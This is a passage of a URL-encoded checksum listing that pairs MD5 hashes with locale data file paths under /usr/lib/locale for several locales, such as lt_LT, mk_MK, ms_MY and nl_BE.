f%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB%2FLC_ADDRESS%0A5dcf8abfca2ddfe3ace8110ef0dc0299%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A983546fcae94bf92e943621969659753%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_TIME%0A7f0b0d90d55ca890795fb3621be5e918%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_IDENTIFICATION%0A47d722ab5512bc9c0e6072351c882734%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_TELEPHONE%0A722124aa3afd8fe54af84c7d5aa6ee9e%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_MONETARY%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fkw_GB.utf8%2FLC_COLLATE%0A3a1df5621f97e66a240e7c44588f030e%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_IDENTIFICATION%0Abe11eb7d5febfcbc0ef5d206e30a286b%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_COLLATE%0Aa23e10ea223d57631cfeb51ad64f6c70%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ae08001dbab546338140c3666afc5cbf4%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_TELEPHONE%0A598a1c530424b0e419753dd5e40a860e%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_MONETARY%0A11ad78c588e53acfe85a06b614dc1d3a%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_NUMERIC%0A992fe68a7dddd8d21cb62754930360ca%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_PAPER%0Aaf1c9083260dad3add107e775ec27395%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_TIME%0A86ac0df6ae924719a7de67fc566262fa%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_MEASUREMENT%0A862d7561ea930bf0dfead47a082ee1ac%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_NAME%0Abca2798600089e49539e45224f934f7c%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_CTYPE%0A1939f586dd0e589456c7923d464a933b%20%20%2Fusr%2Flib%2Flocale%2Flt_LT%2FLC_ADDRESS%0A65de8e60f8f9f58c07591d18b3b133f7%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_IDENTIFICATION%0A05485f21247ac49768a0290f9454ba7e%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_COLLATE%0A22911306613879bf66c05a809ca75920%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A7553a969fdf91ed574cf0d1f377424e7%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_TELEPHONE%0A1dc2d87a9a8b2c033b0bb7e1f38af034%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_MONETARY%0A1e8c9ff4219cbab439739acc0d523bbb%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_NUMERIC%0A1250786b9e39d775b3e92a62191d9ee5%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Flt_LT.utf8%2FLC_CTYPE%0Af82e33be812cc09878d64e4f282c37c1%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_IDENTIFICATION%0Aaba931a3dcb488160100a88806a2b550%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_COLLATE%0Adcfb0a290bc603407f2a3467be55b66b%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A78574a8e8290ea5044148b52d4c8548a%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_TELEPHONE%0A32f8414df1fe9bf849c72da6c63217c0%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_MONETARY%0A883d0ea84cd3b0db86aeb483a4500110%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_NUMERIC%0A992fe68a7dddd8d21cb62754930360ca%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_PAPER%0Aa90237225816082d602a4faee78f1d02%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_TIME%0A86ac0df6ae924719a7de67fc566262fa%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_MEASUREMENT%0A862d7561ea930bf0dfead47a082ee1ac%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_NAME%0Abca2798600089e49539e45224f934f7c%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_CTYPE%0A1939f586dd0e589456c7923d464a933b%20%20%2Fusr%2Flib%2Flocale%2Flv_LV%2FLC_ADDRESS%0Acd7f932835d66f436ae7e739b17d652d%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_IDENTIFICATION%0A990631e2c8a4fc10b9b7c0a47b622d3a%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_COLLATE%0A6762009ffdd6a02ff87ec0a0aaa854b7%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A493d0e2c0e8593e70622a7c4e5fb0fb9%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_TELEPHONE%0Aa9d827c5bd09ce8349f49e0190ccc0b2%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_MONETARY%0Aeb52ce5476daa284a70d9478ded3ee97%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_NUMERIC%0Aead34bb5a6dfe970950a538ce90d503e%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_TIME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Flv_LV.utf8%2FLC_CTYPE%0A00db6d552725309e1dc43ccb8557e2f1%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_IDENTIFICATION%0Ac312da4583b6c407e15af68f38df31f4%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_COLLATE%0A397dab62d626cda49574e550ceb0210c%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Afbac8dffebaa6f746184b0b7ac3fb66a%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_TELEPHONE%0A4792b71b02056faa27084e0687bd90ae%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_MONETARY%0A7628b023362033fdd43cce6af149c397%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_NUMERIC%0A992fe68a7dddd8d21cb62754930360ca%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_PAPER%0A23f9d271a90a8cc4235cd9784bf97ba2%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_TIME%0A86ac0df6ae924719a7de67fc566262fa%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_MEASUREMENT%0A862d7561ea930bf0dfead47a082ee1ac%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_NAME%0Abca2798600089e49539e45224f934f7c%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_CTYPE%0A1939f586dd0e589456c7923d464a933b%20%20%2Fusr%2Flib%2Flocale%2Fmi_NZ%2FLC_ADDRESS%0Ad1d2a6aca8be2b71bee696ee2ad79e23%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_IDENTIFICATION%0Af4ce7dbe869ce0f2bdb1f10da0825ee5%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_ADDRESS%0Aad4b32f7f6ebf1adc7eda4587c90672d%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A4e9f91fdb421e719434c48d1565c3cab%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_TELEPHONE%0A4ed4d0e27fcd5b727be7450958a2f9e1%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_MONETARY%0A3777255c07ec4827367aeb4134909232%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_NAME%0Ad6537dca344a8b195a97ef7501e2b37c%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_NUMERIC%0Ac907f167139e3c0532b8a6a6664fec59%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_PAPER%0Af9c64c02d5f8ef1accd70947a37379cd%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_TIME%0A3066ee7abd29b4937e846453d46b863a%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_MEASUREMENT%0A04a2ec397a1c23cce437d1709258bca4%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_CTYPE%0A49c7b52751bb3e1d86d132af4d896538%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK%2FLC_COLLATE%0Ab91781039f3eba35f1ce4560a3c41cd1%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_IDENTIFICATION%0A96d95d09958cedd3380ee5c7cf15be6b%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_ADDRESS%0Ab31a0ebc27537fa746fda9b8754fc18d%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aca04a4bb8e2d51da0e1ad66344d7d319%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_TELEPHONE%0A8c21d855e818ec591370e3bfbedda9ce%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_MONETARY%0A57608942835eaa19465b6323f534142b%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_NAME%0A2ea22e9eeba7956968dfcc67417942b4%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_NUMERIC%0A4421f2f453e04b6764e79a918df7a09b%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_TIME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fmk_MK.utf8%2FLC_COLLATE%0Ab4bc812d80b2bf514fa6b13525f22d89%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9b0a9c3d9dbd06db60e5c9b22c22fbe0%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_TIME%0A0dadd07918e437ed50661ecb8e03183a%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_IDENTIFICATION%0A94557c17644e850a652716e215945261%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_TELEPHONE%0A20550f5f514a236698e60c575a4cc7d0%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fmr_IN%2FLC_ADDRESS%0A86b18f0f590693af6ebe1fb3df8a83ab%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A0684628f4a927dc2b5bebc5047d5d64b%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_TIME%0A57882dcbd516fd82f047671c15bc9741%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_IDENTIFICATION%0Ae734582b0a0e47e64403df60a5e54fe6%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_TELEPHONE%0A2d38083dc910d4496ec1ac7e7ebc65de%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_MONETARY%0A4e8c474096cf5a9cc7061c1f39737e7c%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_MEASUREMENT%0A339818f2adcb169d6bf749131be816e3%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_NUMERIC%0A6c252a0eacd0ab87f0b3feaff766121e%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_ADDRESS%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fms_MY%2FLC_COLLATE%0A01d8779abd351873d597783147bc52d6%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Adbd175a4c7156240add3989995a851de%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_TIME%0A256c6c32319b978985e340099f2a18fa%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_TELEPHONE%0Ac8f6a0c9df0d5013e5bef561b0460005%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fms_MY.utf8%2FLC_ADDRESS%0A15d272df19d8dd7ff25f2d690d6e69e3%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_IDENTIFICATION%0A94bdc14f87b798e40c5c636ef83b42c7%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_ADDRESS%0A6ee9889b5e619a639d054ff52d30918b%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_COLLATE%0A660a1cace96163f0e6b331d6cfe420ec%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_CTYPE%0A30052680febc201fde3256ac26a35cc7%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ace88ad6dd8e54d6e8f414884b073a974%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_MEASUREMENT%0Ab83ce122d8cdd12288471bf3093f7043%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_TELEPHONE%0Ac4536511e56db25d4ce4a4c307c7a6d6%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_MONETARY%0Ad56d67e96ea4899e1b78c05b7f4c2427%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_NAME%0A88d88bb3bb5abcfb39206b77947342e3%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_NUMERIC%0A8af0e65d13cbb0c57f977ec34d3e38f9%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_PAPER%0Af433db0d9e3c0fe3e96f0f8242e8a440%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT%2FLC_TIME%0Ab4bc812d80b2bf514fa6b13525f22d89%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Af7bd7964334e671fa98e279dcc3c7b8c%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_TIME%0Ae755f89b68c6edc95dd0bd4311537eec%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_TELEPHONE%0A2c396c0aa50df47fe6c78ef08f04d1a8%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fmt_MT.utf8%2FLC_ADDRESS%0Ace8d9ca9f8edd55645f0971b95492154%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ac1e2f4c9fef95986b4031843c3986994%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_TIME%0A833f7b7f007d215d456fb9e23957c888%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_IDENTIFICATION%0A5c5d77d112557796ca01e0fe2e7b0ab2%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_TELEPHONE%0A1db58ebffafd13501f0609588ae648d1%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_NUMERIC%0A3f23838cca0f6d2e012971e07afab107%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%2FLC_ADDRESS%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa42e06e1e7d0ece31158cd3dc2e87ba2%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_TIME%0A1da5e76e042f713547ec8656e4ae3eec%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_IDENTIFICATION%0Aa320b75a9e07f584d36c1852644a1d22%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_TELEPHONE%0Abd7095905e0a636f05f8da3747490966%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_MONETARY%0Aa914cc86d1ef2e652d22e174e11356eb%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_NUMERIC%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%2FLC_COLLATE%0Aca29ba41191a843b02d298daed8025e3%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aa42e06e1e7d0ece31158cd3dc2e87ba2%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_TIME%0A386196442647d6b95b166da43116c4ec%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_IDENTIFICATION%0Aa320b75a9e07f584d36c1852644a1d22%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_TELEPHONE%0Aa914cc86d1ef2e652d22e174e11356eb%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_NUMERIC%0Af56e0578821139a3e6702c141864ca11%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_MONETARY%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_ADDRESS%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_MEASUREMENT%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE.utf8%40euro%2FLC_COLLATE%0A5d9bbb25d0e72653794c2f810789f545%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3728bb9e02734c1523054e596af6d7c5%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_TIME%0A6221066a74a58b6d972387de5fec6b39%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_IDENTIFICATION%0A1526b18112e677f93665d4dae53b26fe%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_TELEPHONE%0Adf946a1e58ad3c38c7f494a5c70a7035%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_NUMERIC%0A7c2b429421ff8f40dabc003d65d1a00b%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_MONETARY%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_MEASUREMENT%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_NAME%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fnl_BE%40euro%2FLC_ADDRESS%0Ace8d9ca9f8edd55645f0971b95492154%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ac1e2f4c9fef95986b4031843c3986994%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_TIME%0A63b39ad101cda08a1cf42eed25129a32%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_IDENTIFICATION%0A3a01e7d31c9c66aea130b0f97ac0090c%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_TELEPHONE%0Af28cefb231a87986386873e5c7df798e%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_MEASUREMENT%0Ae87e3620d7ee9b382318942244365662%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fnl_NL%2FLC_